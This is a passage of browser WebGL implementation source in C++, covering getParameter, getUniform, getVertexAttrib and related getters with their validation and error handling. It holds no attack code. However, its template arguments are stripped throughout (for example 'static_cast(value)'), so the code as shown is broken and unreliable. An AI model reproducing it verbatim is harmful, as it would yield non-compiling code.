GL_ALIASED_POINT_SIZE_RANGE: return GetWebGLFloatArrayParameter(script_state, pname); case GL_ALPHA_BITS: if (drawing_buffer_->RequiresAlphaChannelToBePreserved()) return WebGLAny(script_state, 0); return GetIntParameter(script_state, pname); case GL_ARRAY_BUFFER_BINDING: return WebGLAny(script_state, bound_array_buffer_.Get()); case GL_BLEND: return GetBooleanParameter(script_state, pname); case GL_BLEND_COLOR: return GetWebGLFloatArrayParameter(script_state, pname); case GL_BLEND_DST_ALPHA: return GetUnsignedIntParameter(script_state, pname); case GL_BLEND_DST_RGB: return GetUnsignedIntParameter(script_state, pname); case GL_BLEND_EQUATION_ALPHA: return GetUnsignedIntParameter(script_state, pname); case GL_BLEND_EQUATION_RGB: return GetUnsignedIntParameter(script_state, pname); case GL_BLEND_SRC_ALPHA: return GetUnsignedIntParameter(script_state, pname); case GL_BLEND_SRC_RGB: return GetUnsignedIntParameter(script_state, pname); case GL_BLUE_BITS: return GetIntParameter(script_state, pname); case GL_COLOR_CLEAR_VALUE: return GetWebGLFloatArrayParameter(script_state, pname); case GL_COLOR_WRITEMASK: return GetBooleanArrayParameter(script_state, pname); case GL_COMPRESSED_TEXTURE_FORMATS: return WebGLAny(script_state, DOMUint32Array::Create( compressed_texture_formats_.data(), compressed_texture_formats_.size())); case GL_CULL_FACE: return GetBooleanParameter(script_state, pname); case GL_CULL_FACE_MODE: return GetUnsignedIntParameter(script_state, pname); case GL_CURRENT_PROGRAM: return WebGLAny(script_state, current_program_.Get()); case GL_DEPTH_BITS: if (!framebuffer_binding_ && !CreationAttributes().depth) return WebGLAny(script_state, kIntZero); return GetIntParameter(script_state, pname); case GL_DEPTH_CLEAR_VALUE: return GetFloatParameter(script_state, pname); case GL_DEPTH_FUNC: return GetUnsignedIntParameter(script_state, pname); case GL_DEPTH_RANGE: return GetWebGLFloatArrayParameter(script_state, pname); case GL_DEPTH_TEST: return GetBooleanParameter(script_state, pname); case GL_DEPTH_WRITEMASK: return GetBooleanParameter(script_state, pname); case GL_DITHER: return GetBooleanParameter(script_state, pname); case GL_ELEMENT_ARRAY_BUFFER_BINDING: return WebGLAny(script_state, bound_vertex_array_object_->BoundElementArrayBuffer()); case GL_FRAMEBUFFER_BINDING: return WebGLAny(script_state, framebuffer_binding_.Get()); case GL_FRONT_FACE: return GetUnsignedIntParameter(script_state, pname); case GL_GENERATE_MIPMAP_HINT: return GetUnsignedIntParameter(script_state, pname); case GL_GREEN_BITS: return GetIntParameter(script_state, pname); case GL_IMPLEMENTATION_COLOR_READ_FORMAT: return GetIntParameter(script_state, pname); case GL_IMPLEMENTATION_COLOR_READ_TYPE: return GetIntParameter(script_state, pname); case GL_LINE_WIDTH: return GetFloatParameter(script_state, pname); case GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS: return GetIntParameter(script_state, pname); case GL_MAX_CUBE_MAP_TEXTURE_SIZE: return GetIntParameter(script_state, pname); case GL_MAX_FRAGMENT_UNIFORM_VECTORS: return GetIntParameter(script_state, pname); case GL_MAX_RENDERBUFFER_SIZE: return GetIntParameter(script_state, pname); case GL_MAX_TEXTURE_IMAGE_UNITS: return GetIntParameter(script_state, pname); case GL_MAX_TEXTURE_SIZE: return GetIntParameter(script_state, pname); case GL_MAX_VARYING_VECTORS: return GetIntParameter(script_state, pname); case GL_MAX_VERTEX_ATTRIBS: return GetIntParameter(script_state, pname); case GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS: return GetIntParameter(script_state, pname); case GL_MAX_VERTEX_UNIFORM_VECTORS: return GetIntParameter(script_state, pname); case GL_MAX_VIEWPORT_DIMS: return GetWebGLIntArrayParameter(script_state, pname); case GL_NUM_SHADER_BINARY_FORMATS: // FIXME: should we always return 0 for this? return GetIntParameter(script_state, pname); case GL_PACK_ALIGNMENT: return GetIntParameter(script_state, pname); case GL_POLYGON_OFFSET_FACTOR: return GetFloatParameter(script_state, pname); case GL_POLYGON_OFFSET_FILL: return GetBooleanParameter(script_state, pname); case GL_POLYGON_OFFSET_UNITS: return GetFloatParameter(script_state, pname); case GL_RED_BITS: return GetIntParameter(script_state, pname); case GL_RENDERBUFFER_BINDING: return WebGLAny(script_state, renderbuffer_binding_.Get()); case GL_RENDERER: return WebGLAny(script_state, String("WebKit WebGL")); case GL_SAMPLE_ALPHA_TO_COVERAGE: return GetBooleanParameter(script_state, pname); case GL_SAMPLE_BUFFERS: return GetIntParameter(script_state, pname); case GL_SAMPLE_COVERAGE: return GetBooleanParameter(script_state, pname); case GL_SAMPLE_COVERAGE_INVERT: return GetBooleanParameter(script_state, pname); case GL_SAMPLE_COVERAGE_VALUE: return GetFloatParameter(script_state, pname); case GL_SAMPLES: return GetIntParameter(script_state, pname); case GL_SCISSOR_BOX: return GetWebGLIntArrayParameter(script_state, pname); case GL_SCISSOR_TEST: return GetBooleanParameter(script_state, pname); case GL_SHADING_LANGUAGE_VERSION: return WebGLAny( script_state, "WebGL GLSL ES 1.0 (" + String(ContextGL()->GetString(GL_SHADING_LANGUAGE_VERSION)) + ")"); case GL_STENCIL_BACK_FAIL: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_BACK_FUNC: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_BACK_PASS_DEPTH_FAIL: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_BACK_PASS_DEPTH_PASS: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_BACK_REF: return GetIntParameter(script_state, pname); case GL_STENCIL_BACK_VALUE_MASK: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_BACK_WRITEMASK: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_BITS: if (!framebuffer_binding_ && !CreationAttributes().stencil) return WebGLAny(script_state, kIntZero); return GetIntParameter(script_state, pname); case GL_STENCIL_CLEAR_VALUE: return GetIntParameter(script_state, pname); case GL_STENCIL_FAIL: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_FUNC: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_PASS_DEPTH_FAIL: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_PASS_DEPTH_PASS: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_REF: return GetIntParameter(script_state, pname); case GL_STENCIL_TEST: return WebGLAny(script_state, stencil_enabled_); case GL_STENCIL_VALUE_MASK: return GetUnsignedIntParameter(script_state, pname); case GL_STENCIL_WRITEMASK: return GetUnsignedIntParameter(script_state, pname); case GL_SUBPIXEL_BITS: return GetIntParameter(script_state, pname); case GL_TEXTURE_BINDING_2D: return WebGLAny( script_state, texture_units_[active_texture_unit_].texture2d_binding_.Get()); case GL_TEXTURE_BINDING_CUBE_MAP: return WebGLAny( script_state, texture_units_[active_texture_unit_].texture_cube_map_binding_.Get()); case GL_UNPACK_ALIGNMENT: return GetIntParameter(script_state, pname); case GC3D_UNPACK_FLIP_Y_WEBGL: return WebGLAny(script_state, unpack_flip_y_); case GC3D_UNPACK_PREMULTIPLY_ALPHA_WEBGL: return WebGLAny(script_state, unpack_premultiply_alpha_); case GC3D_UNPACK_COLORSPACE_CONVERSION_WEBGL: return WebGLAny(script_state, unpack_colorspace_conversion_); case GL_VENDOR: return WebGLAny(script_state, String("WebKit")); case GL_VERSION: return WebGLAny( script_state, "WebGL 1.0 (" + String(ContextGL()->GetString(GL_VERSION)) + ")"); case GL_VIEWPORT: return GetWebGLIntArrayParameter(script_state, pname); case GL_FRAGMENT_SHADER_DERIVATIVE_HINT_OES: // OES_standard_derivatives if (ExtensionEnabled(kOESStandardDerivativesName) || IsWebGL2OrHigher()) return GetUnsignedIntParameter(script_state, GL_FRAGMENT_SHADER_DERIVATIVE_HINT_OES); SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, OES_standard_derivatives not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case WebGLDebugRendererInfo::kUnmaskedRendererWebgl: if (ExtensionEnabled(kWebGLDebugRendererInfoName)) return WebGLAny(script_state, String(ContextGL()->GetString(GL_RENDERER))); SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, WEBGL_debug_renderer_info not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case WebGLDebugRendererInfo::kUnmaskedVendorWebgl: if (ExtensionEnabled(kWebGLDebugRendererInfoName)) return WebGLAny(script_state, String(ContextGL()->GetString(GL_VENDOR))); SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, WEBGL_debug_renderer_info not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case GL_VERTEX_ARRAY_BINDING_OES: // OES_vertex_array_object if (ExtensionEnabled(kOESVertexArrayObjectName) || IsWebGL2OrHigher()) { if (!bound_vertex_array_object_->IsDefaultObject()) return WebGLAny(script_state, bound_vertex_array_object_.Get()); return ScriptValue::CreateNull(script_state->GetIsolate()); } SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, OES_vertex_array_object not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT: // EXT_texture_filter_anisotropic if (ExtensionEnabled(kEXTTextureFilterAnisotropicName)) { return GetFloatParameter(script_state, GL_MAX_TEXTURE_MAX_ANISOTROPY_EXT); } SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, EXT_texture_filter_anisotropic not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case GL_MAX_COLOR_ATTACHMENTS_EXT: // EXT_draw_buffers BEGIN if (ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()) return WebGLAny(script_state, MaxColorAttachments()); SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, WEBGL_draw_buffers not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case GL_MAX_DRAW_BUFFERS_EXT: if (ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()) return WebGLAny(script_state, MaxDrawBuffers()); SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, WEBGL_draw_buffers not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case GL_TIMESTAMP_EXT: if (ExtensionEnabled(kEXTDisjointTimerQueryName)) return WebGLAny(script_state, 0); SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, EXT_disjoint_timer_query not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case GL_GPU_DISJOINT_EXT: if (ExtensionEnabled(kEXTDisjointTimerQueryName)) return GetBooleanParameter(script_state, GL_GPU_DISJOINT_EXT); SynthesizeGLError( GL_INVALID_ENUM, "getParameter", "invalid parameter name, EXT_disjoint_timer_query not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); case GL_MAX_VIEWS_OVR: if (ExtensionEnabled(kOVRMultiview2Name)) return GetIntParameter(script_state, pname); SynthesizeGLError(GL_INVALID_ENUM, "getParameter", "invalid parameter name, OVR_multiview2 not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); default: if ((ExtensionEnabled(kWebGLDrawBuffersName) || IsWebGL2OrHigher()) && pname >= GL_DRAW_BUFFER0_EXT && pname < static_cast(GL_DRAW_BUFFER0_EXT + MaxDrawBuffers())) { GLint value = GL_NONE; if (framebuffer_binding_) value = framebuffer_binding_->GetDrawBuffer(pname); else // emulated backbuffer value = back_draw_buffer_; return WebGLAny(script_state, value); } SynthesizeGLError(GL_INVALID_ENUM, "getParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } ScriptValue WebGLRenderingContextBase::getProgramParameter( ScriptState* script_state, WebGLProgram* program, GLenum pname) { if (!ValidateWebGLProgramOrShader("getProgramParamter", program)) { return ScriptValue::CreateNull(script_state->GetIsolate()); } GLint value = 0; switch (pname) { case GL_DELETE_STATUS: return WebGLAny(script_state, program->MarkedForDeletion()); case GL_VALIDATE_STATUS: ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value); return WebGLAny(script_state, static_cast(value)); case GL_LINK_STATUS: return WebGLAny(script_state, program->LinkStatus(this)); case GL_COMPLETION_STATUS_KHR: if (!ExtensionEnabled(kKHRParallelShaderCompileName)) { SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } bool completed; if (checkProgramCompletionQueryAvailable(program, &completed)) { return WebGLAny(script_state, completed); } return WebGLAny(script_state, program->CompletionStatus(this)); case GL_ACTIVE_UNIFORM_BLOCKS: case GL_TRANSFORM_FEEDBACK_VARYINGS: if (!IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } FALLTHROUGH; case GL_ATTACHED_SHADERS: case GL_ACTIVE_ATTRIBUTES: case GL_ACTIVE_UNIFORMS: ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value); return WebGLAny(script_state, value); case GL_TRANSFORM_FEEDBACK_BUFFER_MODE: if (!IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value); return WebGLAny(script_state, static_cast(value)); case GL_ACTIVE_ATOMIC_COUNTER_BUFFERS: if (context_type_ == Platform::kWebGL2ComputeContextType) { ContextGL()->GetProgramiv(ObjectOrZero(program), pname, &value); return WebGLAny(script_state, static_cast(value)); } FALLTHROUGH; default: SynthesizeGLError(GL_INVALID_ENUM, "getProgramParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } String WebGLRenderingContextBase::getProgramInfoLog(WebGLProgram* program) { if (!ValidateWebGLProgramOrShader("getProgramInfoLog", program)) return String(); GLStringQuery query(ContextGL()); return query.Run(ObjectNonZero(program)); } ScriptValue WebGLRenderingContextBase::getRenderbufferParameter( ScriptState* script_state, GLenum target, GLenum pname) { if (isContextLost()) return ScriptValue::CreateNull(script_state->GetIsolate()); if (target != GL_RENDERBUFFER) { SynthesizeGLError(GL_INVALID_ENUM, "getRenderbufferParameter", "invalid target"); return ScriptValue::CreateNull(script_state->GetIsolate()); } if (!renderbuffer_binding_ || !renderbuffer_binding_->Object()) { SynthesizeGLError(GL_INVALID_OPERATION, "getRenderbufferParameter", "no renderbuffer bound"); return ScriptValue::CreateNull(script_state->GetIsolate()); } GLint value = 0; switch (pname) { case GL_RENDERBUFFER_SAMPLES: if (!IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_ENUM, "getRenderbufferParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } FALLTHROUGH; case GL_RENDERBUFFER_WIDTH: case GL_RENDERBUFFER_HEIGHT: case GL_RENDERBUFFER_RED_SIZE: case GL_RENDERBUFFER_GREEN_SIZE: case GL_RENDERBUFFER_BLUE_SIZE: case GL_RENDERBUFFER_ALPHA_SIZE: case GL_RENDERBUFFER_DEPTH_SIZE: ContextGL()->GetRenderbufferParameteriv(target, pname, &value); return WebGLAny(script_state, value); case GL_RENDERBUFFER_STENCIL_SIZE: ContextGL()->GetRenderbufferParameteriv(target, pname, &value); return WebGLAny(script_state, value); case GL_RENDERBUFFER_INTERNAL_FORMAT: return WebGLAny(script_state, renderbuffer_binding_->InternalFormat()); default: SynthesizeGLError(GL_INVALID_ENUM, "getRenderbufferParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } ScriptValue WebGLRenderingContextBase::getShaderParameter( ScriptState* script_state, WebGLShader* shader, GLenum pname) { if (!ValidateWebGLProgramOrShader("getShaderParameter", shader)) { return ScriptValue::CreateNull(script_state->GetIsolate()); } GLint value = 0; switch (pname) { case GL_DELETE_STATUS: return WebGLAny(script_state, shader->MarkedForDeletion()); case GL_COMPILE_STATUS: ContextGL()->GetShaderiv(ObjectOrZero(shader), pname, &value); return WebGLAny(script_state, static_cast(value)); case GL_COMPLETION_STATUS_KHR: if (!ExtensionEnabled(kKHRParallelShaderCompileName)) { SynthesizeGLError(GL_INVALID_ENUM, "getShaderParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } ContextGL()->GetShaderiv(ObjectOrZero(shader), pname, &value); return WebGLAny(script_state, static_cast(value)); case GL_SHADER_TYPE: ContextGL()->GetShaderiv(ObjectOrZero(shader), pname, &value); return WebGLAny(script_state, static_cast(value)); default: SynthesizeGLError(GL_INVALID_ENUM, "getShaderParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } String WebGLRenderingContextBase::getShaderInfoLog(WebGLShader* shader) { if (!ValidateWebGLProgramOrShader("getShaderInfoLog", shader)) return String(); GLStringQuery query(ContextGL()); return query.Run(ObjectNonZero(shader)); } WebGLShaderPrecisionFormat* WebGLRenderingContextBase::getShaderPrecisionFormat( GLenum shader_type, GLenum precision_type) { if (isContextLost()) return nullptr; if (!ValidateShaderType("getShaderPrecisionFormat", shader_type)) { return nullptr; } switch (precision_type) { case GL_LOW_FLOAT: case GL_MEDIUM_FLOAT: case GL_HIGH_FLOAT: case GL_LOW_INT: case GL_MEDIUM_INT: case GL_HIGH_INT: break; default: SynthesizeGLError(GL_INVALID_ENUM, "getShaderPrecisionFormat", "invalid precision type"); return nullptr; } GLint range[2] = {0, 0}; GLint precision = 0; ContextGL()->GetShaderPrecisionFormat(shader_type, precision_type, range, &precision); return MakeGarbageCollected(range[0], range[1], precision); } String WebGLRenderingContextBase::getShaderSource(WebGLShader* shader) { if (!ValidateWebGLProgramOrShader("getShaderSource", shader)) return String(); return EnsureNotNull(shader->Source()); } base::Optional> WebGLRenderingContextBase::getSupportedExtensions() { if (isContextLost()) return base::nullopt; Vector result; for (ExtensionTracker* tracker : extensions_) { if (ExtensionSupportedAndAllowed(tracker)) { const char* const* prefixes = tracker->Prefixes(); for (; *prefixes; ++prefixes) { String prefixed_name = String(*prefixes) + tracker->ExtensionName(); result.push_back(prefixed_name); } } } return result; } ScriptValue WebGLRenderingContextBase::getTexParameter( ScriptState* script_state, GLenum target, GLenum pname) { if (isContextLost()) return ScriptValue::CreateNull(script_state->GetIsolate()); if (!ValidateTextureBinding("getTexParameter", target)) return ScriptValue::CreateNull(script_state->GetIsolate()); switch (pname) { case GL_TEXTURE_MAG_FILTER: case GL_TEXTURE_MIN_FILTER: case GL_TEXTURE_WRAP_S: case GL_TEXTURE_WRAP_T: { GLint value = 0; ContextGL()->GetTexParameteriv(target, pname, &value); return WebGLAny(script_state, static_cast(value)); } case GL_TEXTURE_MAX_ANISOTROPY_EXT: // EXT_texture_filter_anisotropic if (ExtensionEnabled(kEXTTextureFilterAnisotropicName)) { GLfloat value = 0.f; ContextGL()->GetTexParameterfv(target, pname, &value); return WebGLAny(script_state, value); } SynthesizeGLError( GL_INVALID_ENUM, "getTexParameter", "invalid parameter name, EXT_texture_filter_anisotropic not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); default: SynthesizeGLError(GL_INVALID_ENUM, "getTexParameter", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } ScriptValue WebGLRenderingContextBase::getUniform( ScriptState* script_state, WebGLProgram* program, const WebGLUniformLocation* uniform_location) { if (!ValidateWebGLProgramOrShader("getUniform", program)) return ScriptValue::CreateNull(script_state->GetIsolate()); DCHECK(uniform_location); if (uniform_location->Program() != program) { SynthesizeGLError(GL_INVALID_OPERATION, "getUniform", "no uniformlocation or not valid for this program"); return ScriptValue::CreateNull(script_state->GetIsolate()); } GLint location = uniform_location->Location(); GLuint program_id = ObjectNonZero(program); GLint max_name_length = -1; ContextGL()->GetProgramiv(program_id, GL_ACTIVE_UNIFORM_MAX_LENGTH, &max_name_length); if (max_name_length < 0) return ScriptValue::CreateNull(script_state->GetIsolate()); if (max_name_length == 0) { SynthesizeGLError(GL_INVALID_VALUE, "getUniform", "no active uniforms exist"); return ScriptValue::CreateNull(script_state->GetIsolate()); } // FIXME: make this more efficient using WebGLUniformLocation and caching // types in it. GLint active_uniforms = 0; ContextGL()->GetProgramiv(program_id, GL_ACTIVE_UNIFORMS, &active_uniforms); for (GLint i = 0; i < active_uniforms; i++) { LChar* name_ptr; scoped_refptr name_impl = StringImpl::CreateUninitialized(max_name_length, name_ptr); GLsizei name_length = 0; GLint size = -1; GLenum type = 0; ContextGL()->GetActiveUniform(program_id, i, max_name_length, &name_length, &size, &type, reinterpret_cast(name_ptr)); if (size < 0) return ScriptValue::CreateNull(script_state->GetIsolate()); String name(name_impl->Substring(0, name_length)); StringBuilder name_builder; // Strip "[0]" from the name if it's an array. if (size > 1 && name.EndsWith("[0]")) name = name.Left(name.length() - 3); // If it's an array, we need to iterate through each element, appending // "[index]" to the name. for (GLint index = 0; index < size; ++index) { name_builder.Clear(); name_builder.Append(name); if (size > 1 && index >= 1) { name_builder.Append('['); name_builder.AppendNumber(index); name_builder.Append(']'); } // Now need to look this up by name again to find its location GLint loc = ContextGL()->GetUniformLocation( ObjectOrZero(program), name_builder.ToString().Utf8().c_str()); if (loc == location) { // Found it. Use the type in the ActiveInfo to determine the return // type. GLenum base_type; unsigned length; switch (type) { case GL_BOOL: base_type = GL_BOOL; length = 1; break; case GL_BOOL_VEC2: base_type = GL_BOOL; length = 2; break; case GL_BOOL_VEC3: base_type = GL_BOOL; length = 3; break; case GL_BOOL_VEC4: base_type = GL_BOOL; length = 4; break; case GL_INT: base_type = GL_INT; length = 1; break; case GL_INT_VEC2: base_type = GL_INT; length = 2; break; case GL_INT_VEC3: base_type = GL_INT; length = 3; break; case GL_INT_VEC4: base_type = GL_INT; length = 4; break; case GL_FLOAT: base_type = GL_FLOAT; length = 1; break; case GL_FLOAT_VEC2: base_type = GL_FLOAT; length = 2; break; case GL_FLOAT_VEC3: base_type = GL_FLOAT; length = 3; break; case GL_FLOAT_VEC4: base_type = GL_FLOAT; length = 4; break; case GL_FLOAT_MAT2: base_type = GL_FLOAT; length = 4; break; case GL_FLOAT_MAT3: base_type = GL_FLOAT; length = 9; break; case GL_FLOAT_MAT4: base_type = GL_FLOAT; length = 16; break; case GL_SAMPLER_2D: case GL_SAMPLER_CUBE: base_type = GL_INT; length = 1; break; case GL_SAMPLER_VIDEO_IMAGE_WEBGL: if (!ExtensionEnabled(kWebGLVideoTextureName)) { SynthesizeGLError( GL_INVALID_VALUE, "getUniform", "unhandled type, WEBGL_video_texture extension not enabled"); return ScriptValue::CreateNull(script_state->GetIsolate()); } base_type = GL_INT; length = 1; break; default: if (!IsWebGL2OrHigher()) { // Can't handle this type SynthesizeGLError(GL_INVALID_VALUE, "getUniform", "unhandled type"); return ScriptValue::CreateNull(script_state->GetIsolate()); } // handle GLenums for WebGL 2.0 or higher switch (type) { case GL_UNSIGNED_INT: base_type = GL_UNSIGNED_INT; length = 1; break; case GL_UNSIGNED_INT_VEC2: base_type = GL_UNSIGNED_INT; length = 2; break; case GL_UNSIGNED_INT_VEC3: base_type = GL_UNSIGNED_INT; length = 3; break; case GL_UNSIGNED_INT_VEC4: base_type = GL_UNSIGNED_INT; length = 4; break; case GL_FLOAT_MAT2x3: base_type = GL_FLOAT; length = 6; break; case GL_FLOAT_MAT2x4: base_type = GL_FLOAT; length = 8; break; case GL_FLOAT_MAT3x2: base_type = GL_FLOAT; length = 6; break; case GL_FLOAT_MAT3x4: base_type = GL_FLOAT; length = 12; break; case GL_FLOAT_MAT4x2: base_type = GL_FLOAT; length = 8; break; case GL_FLOAT_MAT4x3: base_type = GL_FLOAT; length = 12; break; case GL_SAMPLER_3D: case GL_SAMPLER_2D_ARRAY: case GL_SAMPLER_2D_SHADOW: case GL_SAMPLER_CUBE_SHADOW: case GL_SAMPLER_2D_ARRAY_SHADOW: case GL_INT_SAMPLER_2D: case GL_INT_SAMPLER_CUBE: case GL_INT_SAMPLER_3D: case GL_INT_SAMPLER_2D_ARRAY: case GL_UNSIGNED_INT_SAMPLER_2D: case GL_UNSIGNED_INT_SAMPLER_CUBE: case GL_UNSIGNED_INT_SAMPLER_3D: case GL_UNSIGNED_INT_SAMPLER_2D_ARRAY: base_type = GL_INT; length = 1; break; case GL_IMAGE_2D: case GL_IMAGE_3D: case GL_IMAGE_CUBE: case GL_IMAGE_2D_ARRAY: case GL_INT_IMAGE_2D: case GL_INT_IMAGE_3D: case GL_INT_IMAGE_CUBE: case GL_INT_IMAGE_2D_ARRAY: case GL_UNSIGNED_INT_IMAGE_2D: case GL_UNSIGNED_INT_IMAGE_3D: case GL_UNSIGNED_INT_IMAGE_CUBE: case GL_UNSIGNED_INT_IMAGE_2D_ARRAY: { if (context_type_ != Platform::kWebGL2ComputeContextType) { SynthesizeGLError(GL_INVALID_VALUE, "getUniform", "unhandled type"); return ScriptValue::CreateNull(script_state->GetIsolate()); } base_type = GL_INT; length = 1; break; } default: // Can't handle this type SynthesizeGLError(GL_INVALID_VALUE, "getUniform", "unhandled type"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } switch (base_type) { case GL_FLOAT: { GLfloat value[16] = {0}; ContextGL()->GetUniformfv(ObjectOrZero(program), location, value); if (length == 1) return WebGLAny(script_state, value[0]); return WebGLAny(script_state, DOMFloat32Array::Create(value, length)); } case GL_INT: { GLint value[4] = {0}; ContextGL()->GetUniformiv(ObjectOrZero(program), location, value); if (length == 1) return WebGLAny(script_state, value[0]); return WebGLAny(script_state, DOMInt32Array::Create(value, length)); } case GL_UNSIGNED_INT: { GLuint value[4] = {0}; ContextGL()->GetUniformuiv(ObjectOrZero(program), location, value); if (length == 1) return WebGLAny(script_state, value[0]); return WebGLAny(script_state, DOMUint32Array::Create(value, length)); } case GL_BOOL: { GLint value[4] = {0}; ContextGL()->GetUniformiv(ObjectOrZero(program), location, value); if (length > 1) { bool bool_value[4] = {0}; for (unsigned j = 0; j < length; j++) bool_value[j] = static_cast(value[j]); return WebGLAny(script_state, bool_value, length); } return WebGLAny(script_state, static_cast(value[0])); } default: NOTIMPLEMENTED(); } } } } // If we get here, something went wrong in our unfortunately complex logic // above SynthesizeGLError(GL_INVALID_VALUE, "getUniform", "unknown error"); return ScriptValue::CreateNull(script_state->GetIsolate()); } WebGLUniformLocation* WebGLRenderingContextBase::getUniformLocation( WebGLProgram* program, const String& name) { if (!ValidateWebGLProgramOrShader("getUniformLocation", program)) return nullptr; if (!ValidateLocationLength("getUniformLocation", name)) return nullptr; if (!ValidateString("getUniformLocation", name)) return nullptr; if (IsPrefixReserved(name)) return nullptr; if (!program->LinkStatus(this)) { SynthesizeGLError(GL_INVALID_OPERATION, "getUniformLocation", "program not linked"); return nullptr; } GLint uniform_location = ContextGL()->GetUniformLocation( ObjectOrZero(program), name.Utf8().c_str()); if (uniform_location == -1) return nullptr; return MakeGarbageCollected(program, uniform_location); } ScriptValue WebGLRenderingContextBase::getVertexAttrib( ScriptState* script_state, GLuint index, GLenum pname) { if (isContextLost()) return ScriptValue::CreateNull(script_state->GetIsolate()); if (index >= max_vertex_attribs_) { SynthesizeGLError(GL_INVALID_VALUE, "getVertexAttrib", "index out of range"); return ScriptValue::CreateNull(script_state->GetIsolate()); } if ((ExtensionEnabled(kANGLEInstancedArraysName) || IsWebGL2OrHigher()) && pname == GL_VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE) { GLint value = 0; ContextGL()->GetVertexAttribiv(index, pname, &value); return WebGLAny(script_state, value); } switch (pname) { case GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING: return WebGLAny( script_state, bound_vertex_array_object_->GetArrayBufferForAttrib(index)); case GL_VERTEX_ATTRIB_ARRAY_ENABLED: case GL_VERTEX_ATTRIB_ARRAY_NORMALIZED: { GLint value = 0; ContextGL()->GetVertexAttribiv(index, pname, &value); return WebGLAny(script_state, static_cast(value)); } case GL_VERTEX_ATTRIB_ARRAY_SIZE: case GL_VERTEX_ATTRIB_ARRAY_STRIDE: { GLint value = 0; ContextGL()->GetVertexAttribiv(index, pname, &value); return WebGLAny(script_state, value); } case GL_VERTEX_ATTRIB_ARRAY_TYPE: { GLint value = 0; ContextGL()->GetVertexAttribiv(index, pname, &value); return WebGLAny(script_state, static_cast(value)); } case GL_CURRENT_VERTEX_ATTRIB: { switch (vertex_attrib_type_[index]) { case kFloat32ArrayType: { GLfloat float_value[4]; ContextGL()->GetVertexAttribfv(index, pname, float_value); return WebGLAny(script_state, DOMFloat32Array::Create(float_value, 4)); } case kInt32ArrayType: { GLint int_value[4]; ContextGL()->GetVertexAttribIiv(index, pname, int_value); return WebGLAny(script_state, DOMInt32Array::Create(int_value, 4)); } case kUint32ArrayType: { GLuint uint_value[4]; ContextGL()->GetVertexAttribIuiv(index, pname, uint_value); return WebGLAny(script_state, DOMUint32Array::Create(uint_value, 4)); } default: NOTREACHED(); break; } return ScriptValue::CreateNull(script_state->GetIsolate()); } case GL_VERTEX_ATTRIB_ARRAY_INTEGER: if (IsWebGL2OrHigher()) { GLint value = 0; ContextGL()->GetVertexAttribiv(index, pname, &value); return WebGLAny(script_state, static_cast(value)); } FALLTHROUGH; default: SynthesizeGLError(GL_INVALID_ENUM, "getVertexAttrib", "invalid parameter name"); return ScriptValue::CreateNull(script_state->GetIsolate()); } } int64_t WebGLRenderingContextBase::getVertexAttribOffset(GLuint index, GLenum pname) { if (isContextLost()) return 0; GLvoid* result = nullptr; // NOTE: If pname is ever a value that returns more than 1 element // this will corrupt memory. ContextGL()->GetVertexAttribPointerv(index, pname, &result); return static_cast(reinterpret_cast(result)); } void WebGLRenderingContextBase::hint(GLenum target, GLenum mode) { if (isContextLost()) return; bool is_valid = false; switch (target) { case GL_GENERATE_MIPMAP_HINT: is_valid = true; break; case 